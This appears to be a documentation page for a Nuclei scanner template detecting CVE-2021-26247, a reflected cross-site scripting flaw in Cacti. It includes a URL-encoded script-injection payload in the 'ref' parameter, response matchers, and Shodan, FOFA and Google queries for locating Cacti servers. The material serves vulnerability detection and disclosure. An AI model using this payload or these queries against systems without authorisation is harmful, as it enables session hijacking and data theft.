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Cacti - Cross-Site Scripting

ID: CVE-2021-26247

Severity: medium

Author: dhiyaneshDK

Tags: cve,cve2021,cacti,xss

Description

Section titled “Description”

Cacti contains a cross-site scripting vulnerability via “http://<CACTI_SERVER>/auth_changepassword.php?ref=” which can successfully execute the JavaScript payload present in the “ref” URL parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2021-26247


info:
  name: Cacti - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: Cacti contains a cross-site scripting vulnerability via "http://<CACTI_SERVER>/auth_changepassword.php?ref=<script>alert(1)</script>" which can successfully execute the JavaScript payload present in the "ref" URL parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Cacti to mitigate this vulnerability.
  reference:
    - https://www.cacti.net/info/changelog
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26247
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26247
    cwe-id: CWE-79
    epss-score: 0.00255
    epss-percentile: 0.65308
    cpe: cpe:2.3:a:cacti:cacti:0.8.7g:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cacti
    product: cacti
    shodan-query:
      - http.title:"login to cacti"
      - http.title:"cacti"
      - http.favicon.hash:"-1797138069"
    fofa-query:
      - icon_hash="-1797138069"
      - title="cacti"
      - title="login to cacti"
    google-query:
      - intitle:"cacti"
      - intitle:"login to cacti"
  tags: cve,cve2021,cacti,xss


http:
  - method: GET
    path:
      - '{{BaseURL}}/auth_changepassword.php?ref=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100db50744edf73088d367e1d2a2dc929cad16207a89c1f84bc70c9e8f27e1d7d2a02203febc74b898cfafe87b373d7227317a1b4b4f207a0a90c2a54c151971028a70d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-26247.yaml"

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